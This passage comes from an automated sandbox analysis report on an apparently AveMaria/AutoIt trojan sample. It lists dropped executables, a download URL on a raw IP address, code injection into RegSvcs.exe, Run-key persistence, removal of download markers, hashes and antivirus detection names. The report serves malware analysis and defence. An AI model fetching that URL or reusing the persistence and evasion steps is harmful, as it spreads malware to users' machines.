  659.  
  660. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x00043de0, length: 0x00002000"
  661.  
  662.  
  663. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x00045dd0, length: 0x00002000"
  664.  
  665.  
  666. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x00047dc0, length: 0x00002000"
  667.  
  668.  
  669. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x00049db0, length: 0x00002000"
  670.  
  671.  
  672. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x0004bda0, length: 0x00002000"
  673.  
  674.  
  675. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x0004dd90, length: 0x00002000"
  676.  
  677.  
  678. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x0004fd80, length: 0x00002000"
  679.  
  680.  
  681. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x00050a00, length: 0x00000031"
  682.  
  683.  
  684. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x00050a19, length: 0x00001782"
  685.  
  686.  
  687. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x000eb6b2, length: 0x0000002e"
  688.  
  689.  
  690. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x000fa8eb, length: 0x00000028"
  691.  
  692.  
  693. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x000fa965, length: 0x0000002a"
  694.  
  695.  
  696. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x00158764, length: 0x00000028"
  697.  
  698.  
  699. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x00158983, length: 0x00000028"
  700.  
  701.  
  702. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x00158b5f, length: 0x000001f4"
  703.  
  704.  
  705. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x00158f3d, length: 0x00000028"
  706.  
  707.  
  708. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x00159142, length: 0x000001ed"
  709.  
  710.  
  711. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x00159509, length: 0x00000028"
  712.  
  713.  
  714. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x0015970d, length: 0x00000444"
  715.  
  716.  
  717. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x00159cf9, length: 0x00000028"
  718.  
  719.  
  720. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x00159edc, length: 0x00000203"
  721.  
  722.  
  723. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x0015a282, length: 0x0000040d"
  724.  
  725.  
  726. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x0015a855, length: 0x000001fb"
  727.  
  728.  
  729. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x0015abf8, length: 0x00000028"
  730.  
  731.  
  732. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x0015ae0b, length: 0x00000028"
  733.  
  734.  
  735. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x0015afe8, length: 0x00000028"
  736.  
  737.  
  738. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x0015b1e9, length: 0x00000028"
  739.  
  740.  
  741. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x0015b3b4, length: 0x00000028"
  742.  
  743.  
  744. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x0015b5be, length: 0x00000028"
  745.  
  746.  
  747. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x0015b787, length: 0x00000027"
  748.  
  749.  
  750. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x0015b97c, length: 0x00000027"
  751.  
  752.  
  753. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x0015bb53, length: 0x00000028"
  754.  
  755.  
  756. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x0015bd6e, length: 0x00000028"
  757.  
  758.  
  759. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x0015bf60, length: 0x00000050"
  760.  
  761.  
  762. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x0015c181, length: 0x00000027"
  763.  
  764.  
  765. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x0015c349, length: 0x00000029"
  766.  
  767.  
  768. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x0015c53f, length: 0x00000029"
  769.  
  770.  
  771. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x0015c764, length: 0x00000027"
  772.  
  773.  
  774. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x0015c94f, length: 0x00000028"
  775.  
  776.  
  777. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x0015cb1d, length: 0x00000028"
  778.  
  779.  
  780. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x0015ccf0, length: 0x00000028"
  781.  
  782.  
  783. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x0015cebf, length: 0x00000028"
  784.  
  785.  
  786. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x0015d09c, length: 0x00000028"
  787.  
  788.  
  789. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x0015d273, length: 0x00000028"
  790.  
  791.  
  792. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x0015d478, length: 0x00000029"
  793.  
  794.  
  795. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x0015d6b6, length: 0x00000028"
  796.  
  797.  
  798. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x0015d89c, length: 0x00000028"
  799.  
  800.  
  801. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x0015da93, length: 0x00000028"
  802.  
  803.  
  804. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x0015dc8f, length: 0x00000028"
  805.  
  806.  
  807. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x0015de8b, length: 0x0000001b"
  808.  
  809.  
  810.  
  811.  
  812. "Description": "Drops a binary and executes it",
  813. "Details":
  814.  
  815. "binary": "C:\\Users\\user\\AppData\\Roaming\\ubFGsyGHf.exe"
  816.  
  817.  
  818. "binary": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\nvt.exe"
  819.  
  820.  
  821. "binary": "C:\\Users\\user\\AppData\\Roaming\\yfCcmcKCH.exe"
  822.  
  823.  
  824.  
  825.  
  826. "Description": "HTTP traffic contains suspicious features which may be indicative of malware related traffic",
  827. "Details":
  828.  
  829. "ip_hostname": "HTTP connection was made to an IP address rather than domain name"
  830.  
  831.  
  832. "suspicious_request": "http://185.61.138.111/cqq.exe"
  833.  
  834.  
  835.  
  836.  
  837. "Description": "Performs some HTTP requests",
  838. "Details":
  839.  
  840. "url": "http://185.61.138.111/cqq.exe"
  841.  
  842.  
  843.  
  844.  
  845. "Description": "Executed a process and injected code into it, probably while unpacking",
  846. "Details":
  847.  
  848. "Injection": "nvt.exe(2704) -> RegSvcs.exe(2396)"
  849.  
  850.  
  851.  
  852.  
  853. "Description": "Attempts to remove evidence of file being downloaded from the Internet",
  854. "Details":
  855.  
  856. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\:Zone.Identifier"
  857.  
  858.  
  859.  
  860.  
  861. "Description": "Installs itself for autorun at Windows startup",
  862. "Details":
  863.  
  864. "key": "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run\\qwertyuhgfdrtr.exe"
  865.  
  866.  
  867. "data": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\nvt.exe C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\RAU_HM~1"
  868.  
  869.  
  870.  
  871.  
  872. "Description": "Creates a hidden or system file",
  873. "Details":
  874.  
  875. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\nvt.exe"
  876.  
  877.  
  878. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\aau.mp4"
  879.  
  880.  
  881. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\aju.dat"
  882.  
  883.  
  884. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\aoe.ico"
  885.  
  886.  
  887. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\avx.xl"
  888.  
  889.  
  890. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\cdo.ppt"
  891.  
  892.  
  893. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\csh.icm"
  894.  
  895.  
  896. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\csl.dat"
  897.  
  898.  
  899. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\cxl.pdf"
  900.  
  901.  
  902. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\ejx.bmp"
  903.  
  904.  
  905. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\fek.txt"
  906.  
  907.  
  908. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\fff.ppt"
  909.  
  910.  
  911. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\fjx.ppt"
  912.  
  913.  
  914. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\giq.mp3"
  915.  
  916.  
  917. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\gmh.mp4"
  918.  
  919.  
  920. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\guk.txt"
  921.  
  922.  
  923. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\gvj.mp3"
  924.  
  925.  
  926. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\igg.bmp"
  927.  
  928.  
  929. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\igt.docx"
  930.  
  931.  
  932. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\iii.xl"
  933.  
  934.  
  935. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\jgx.pdf"
  936.  
  937.  
  938. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\jwi.jpg"
  939.  
  940.  
  941. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\kep.dat"
  942.  
  943.  
  944. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\kmi.icm"
  945.  
  946.  
  947. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\kug.mp3"
  948.  
  949.  
  950. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\lcv.icm"
  951.  
  952.  
  953. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\lxx.mp3"
  954.  
  955.  
  956. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\mhh.vbs"
  957.  
  958.  
  959. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\mtq.jpg"
  960.  
  961.  
  962. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\mxs.xl"
  963.  
  964.  
  965. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\nct.txt"
  966.  
  967.  
  968. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\niu.ppt"
  969.  
  970.  
  971. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\orm.dat"
  972.  
  973.  
  974. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\pct.icm"
  975.  
  976.  
  977. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\pid.xl"
  978.  
  979.  
  980. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\ppm.ico"
  981.  
  982.  
  983. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\pra.ppt"
  984.  
  985.  
  986. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\rau=hmw"
  987.  
  988.  
  989. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\soo.mp4"
  990.  
  991.  
  992. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\tpf.mp3"
  993.  
  994.  
  995. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\ugm.ppt"
  996.  
  997.  
  998. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\urk.pdf"
  999.  
  1000.  
  1001. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\vfg.txt"
  1002.  
  1003.  
  1004. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\wec.ppt"
  1005.  
  1006.  
  1007. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\wfu.ppt"
  1008.  
  1009.  
  1010. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\wlc.pdf"
  1011.  
  1012.  
  1013. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\wrd.ppt"
  1014.  
  1015.  
  1016. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\xif.ico"
  1017.  
  1018.  
  1019. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\79617677"
  1020.  
  1021.  
  1022. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\scw.exe"
  1023.  
  1024.  
  1025.  
  1026.  
  1027. "Description": "File has been identified by 38 Antiviruses on VirusTotal as malicious",
  1028. "Details":
  1029.  
  1030. "MicroWorld-eScan": "Trojan.GenericKD.32178022"
  1031.  
  1032.  
  1033. "McAfee": "Artemis!8CE88300CFA1"
  1034.  
  1035.  
  1036. "Alibaba": "TrojanSpy:Win32/AveMaria.a1538978"
  1037.  
  1038.  
  1039. "K7GW": "Riskware ( 0040eff71 )"
  1040.  
  1041.  
  1042. "K7AntiVirus": "Riskware ( 0040eff71 )"
  1043.  
  1044.  
  1045. "Arcabit": "Trojan.Generic.D1EAFF66"
  1046.  
  1047.  
  1048. "Symantec": "Trojan.Gen.2"
  1049.  
  1050.  
  1051. "ESET-NOD32": "Win32/Injector.Autoit.EDS"
  1052.  
  1053.  
  1054. "APEX": "Malicious"
  1055.  
  1056.  
  1057. "Paloalto": "generic.ml"
  1058.  
  1059.  
  1060. "ClamAV": "Win.Malware.Autoit-7082918-0"
  1061.  
  1062.  
  1063. "GData": "Trojan.GenericKD.32178022"
  1064.  
  1065.  
  1066. "Kaspersky": "Trojan-Spy.Win32.AveMaria.bma"
  1067.  
  1068.  
  1069. "BitDefender": "Trojan.GenericKD.32178022"
  1070.  
  1071.  
  1072. "NANO-Antivirus": "Trojan.Win32.AveMaria.fuanmd"
  1073.  
  1074.  
  1075. "AegisLab": "Trojan.Multi.Generic.4!c"
  1076.  
  1077.  
  1078. "Avast": "Win32:Trojan-gen"
  1079.  
  1080.  
  1081. "Ad-Aware": "Trojan.GenericKD.32178022"
  1082.  
  1083.  
  1084. "Sophos": "Mal/Generic-S"
  1085.  
  1086.  
  1087. "Invincea": "heuristic"
  1088.  
  1089.  
  1090. "McAfee-GW-Edition": "BehavesLike.Win32.Backdoor.tc"
  1091.  
  1092.  
  1093. "FireEye": "Generic.mg.8ce88300cfa130c6"
  1094.  
  1095.  
  1096. "Emsisoft": "Trojan.GenericKD.32178022 (B)"
  1097.  
  1098.  
  1099. "MaxSecure": "Trojan.Malware.74454499.susgen"
  1100.  
  1101.  
  1102. "Avira": "TR/AD.MortyStealer.wsjlu"
  1103.  
  1104.  
  1105. "Microsoft": "Trojan:AutoIt/Wiausf.AC!MTB"
  1106.  
  1107.  
  1108. "Endgame": "malicious (high confidence)"
  1109.  
  1110.  
  1111. "ZoneAlarm": "Trojan-Spy.Win32.AveMaria.bma"
  1112.  
  1113.  
  1114. "AhnLab-V3": "Trojan/Win32.RL_Agent.R273974"
  1115.  
  1116.  
  1117. "ALYac": "Trojan.GenericKD.32178022"
  1118.  
  1119.  
  1120. "MAX": "malware (ai score=100)"
  1121.  
  1122.  
  1123. "Zoner": "Probably RARAutorun"
  1124.  
  1125.  
  1126. "Tencent": "Win32.Trojan-spy.Avemaria.Eflg"
  1127.  
  1128.  
  1129. "Fortinet": "AutoIt/Injector.EDS!tr"
  1130.  
  1131.  
  1132. "AVG": "Win32:Trojan-gen"
  1133.  
  1134.  
  1135. "Cybereason": "malicious.3a9a4c"
  1136.  
  1137.  
  1138. "CrowdStrike": "win/malicious_confidence_80% (W)"
  1139.  
  1140.  
  1141. "Qihoo-360": "HEUR/QVM06.3.B10A.Malware.Gen"
  1142.  
  1143.  
  1144.  
  1145.  
  1146. "Description": "Clamav Hits in Target/Dropped/SuriExtracted",
  1147. "Details":
  1148.  
  1149. "target": "clamav:Win.Malware.Autoit-7082918-0, sha256:b0492dcfb8b319622a1e7a30ff534abb58a51d043e28a2025557935ef7714766, type:PE32 executable (GUI) Intel 80386, for MS Windows"
  1150.  
  1151.  
  1152. "dropped": "clamav:Win.Malware.0040eff-7058212-0, sha256:6a3abbff67adf36e3544d06595d44097d4651466575ecb73a161e349ecb15b6a , guest_paths:C:\\Users\\user\\AppData\\Roaming\\ubFGsyGHf.exe*C:\\Users\\user\\AppData\\Roaming\\yfCcmcKCH.exe, type:PE32 executable (GUI) Intel 80386, for MS Windows"
  1153.  
  1154.  
  1155.  
  1156.  
  1157. "Description": "Collects information to fingerprint the system",
  1158. "Details":
  1159.  
  1160.  
  1161. "Description": "Created network traffic indicative of malicious activity",
  1162. "Details":
  1163.  
  1164. "signature": "ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile"
  1165.  
  1166.  
  1167.  
  1168.  
  1169.  
  1170. * Started Service:
  1171.  
  1172. * Mutexes:
  1173. "DefaultTabtip-MainUI",
  1174. "CicLoadWinStaWinSta0",
  1175. "Local\\MSCTF.CtfMonitorInstMutexDefault1",
  1176. "Local\\ZoneAttributeCacheCounterMutex",
  1177. "Local\\ZonesCacheCounterMutex",
  1178. "Local\\ZonesLockedCacheCounterMutex",
  1179. "Global\\CLR_CASOFF_MUTEX"
  1180.  
  1181.  
  1182. * Modified Files:
  1183. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\__tmp_rar_sfx_access_check_33905562",
  1184. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\wrd.ppt",
  1185. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\rau=hmw",
  1186. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\mhh.vbs",
  1187. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\nvt.exe",
  1188. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\xif.ico",
  1189. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\wec.ppt",
  1190. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\giq.mp3",
  1191. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\ppm.ico",
  1192. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\soo.mp4",
  1193. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\pra.ppt",
  1194. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\wlc.pdf",
  1195. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\orm.dat",
  1196. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\igg.bmp",
  1197. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\pid.xl",
  1198. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\csl.dat",
  1199. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\jwi.jpg",
  1200. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\tpf.mp3",
  1201. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\csh.icm",
  1202. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\gvj.mp3",
  1203. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\aju.dat",
  1204. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\fek.txt",
  1205. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\kmi.icm",
  1206. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\kep.dat",
  1207. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\fff.ppt",
  1208. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\lxx.mp3",
  1209. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\jgx.pdf",
  1210. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\pct.icm",
  1211. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\avx.xl",
  1212. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\lcv.icm",
  1213. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\urk.pdf",
  1214. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\niu.ppt",
  1215. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\wfu.ppt",
  1216. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\vfg.txt",
  1217. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\ugm.ppt",
  1218. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\aoe.ico",
  1219. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\kug.mp3",
  1220. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\mxs.xl",
  1221. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\mtq.jpg",
  1222. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\guk.txt",
  1223. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\cdo.ppt",
  1224. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\cxl.pdf",
  1225. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\aau.mp4",
  1226. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\igt.docx",
  1227. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\ejx.bmp",
  1228. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\fjx.ppt",
  1229. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\gmh.mp4",
  1230. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\nct.txt",
  1231. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\iii.xl",
  1232. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\WEMED",
  1233. "C:\\Users\\user\\AppData\\Local\\Microsoft Vision\\29-07-2019_23.26.47",
  1234. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\S4VH3RFR\\cqq1.exe",
  1235. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk",
  1236. "\\??\\PIPE\\srvsvc",
  1237. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\2HPWCUB9YMBM62ULFF5A.temp",
  1238. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms",
  1239. "\\??\\PIPE\\samr",
  1240. "C:\\Windows\\sysnative\\wbem\\repository\\WRITABLE.TST",
  1241. "C:\\Windows\\sysnative\\wbem\\repository\\MAPPING1.MAP",
  1242. "C:\\Windows\\sysnative\\wbem\\repository\\MAPPING2.MAP",
  1243. "C:\\Windows\\sysnative\\wbem\\repository\\MAPPING3.MAP",
  1244. "C:\\Windows\\sysnative\\wbem\\repository\\OBJECTS.DATA",
  1245. "C:\\Windows\\sysnative\\wbem\\repository\\INDEX.BTR",
  1246. "\\??\\pipe\\PIPE_EVENTROOT\\CIMV2WMI SELF-INSTRUMENTATION EVENT PROVIDER",
  1247. "\\??\\pipe\\PIPE_EVENTROOT\\CIMV2PROVIDERSUBSYSTEM",
  1248. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\__tmp_rar_sfx_access_check_33998359",
  1249. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\trc.mp3",
  1250. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\phk=nds",
  1251. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\foc.vbs",
  1252. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\scw.exe",
  1253. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\wwr.mp4",
  1254. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\hdu.bmp",
  1255. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\sjg.dat",
  1256. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\xwk.icm",
  1257. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\nbn.bmp",
  1258. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\dke.txt",
  1259. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\poc.txt",
  1260. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\oca.mp3",
  1261. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\mkc.dat",
  1262. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\gvi.jpg",
  1263. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\iri.ppt",
  1264. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\xda.bmp",
  1265. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\hqt.txt",
  1266. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\fvp.mp3",
  1267. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\pqv.mp4",
  1268. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\vkm.icm",
  1269. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\ica.mp4",
  1270. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\fvk.icm",
  1271. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\aeg.ppt",
  1272. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\ndf.xl",
  1273. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\vvu.xl",
  1274. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\tqd.mp3",
  1275. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\tqf.jpg",
  1276. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\tha.txt",
  1277. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\rkb.jpg",
  1278. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\jbg.xl",
  1279. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\ees.docx",
  1280. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\hur.docx",
  1281. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\npb.xl",
  1282. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\ikc.jpg",
  1283. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\kwm.mp3",
  1284. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\qej.jpg",
  1285. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\voh.pdf",
  1286. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\clp.dat",
  1287. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\qcq.bmp",
  1288. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\oss.docx",
  1289. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\luh.mp3",
  1290. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\jak.mp3",
  1291. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\ble.ico",
  1292. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\ufn.ppt",
  1293. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\__tmp_rar_sfx_access_check_33998546",
  1294. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\okh.mp3",
  1295. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\qdx.mp4",
  1296. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\vhd.xl",
  1297. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\tar.icm",
  1298. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\bcv.xl",
  1299. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\lwj.mp3"
  1300.  
  1301.  
  1302. * Deleted Files:
  1303. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\__tmp_rar_sfx_access_check_33905562",
  1304. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\WEMED",
  1305. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\:Zone.Identifier",
  1306. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\2HPWCUB9YMBM62ULFF5A.temp",
  1307. "C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\CONFIG\\security.config.cch.1500.33971750",
  1308. "C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\CONFIG\\enterprisesec.config.cch.1500.33971750",
  1309. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\CLR Security Config\\v2.0.50727.312\\security.config.cch.1500.33971765",
  1310. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\__tmp_rar_sfx_access_check_33998359",
  1311. "C:\\Users\\user\\AppData\\Local\\Temp\\47658016\\__tmp_rar_sfx_access_check_33998546"
  1312.  
  1313.  
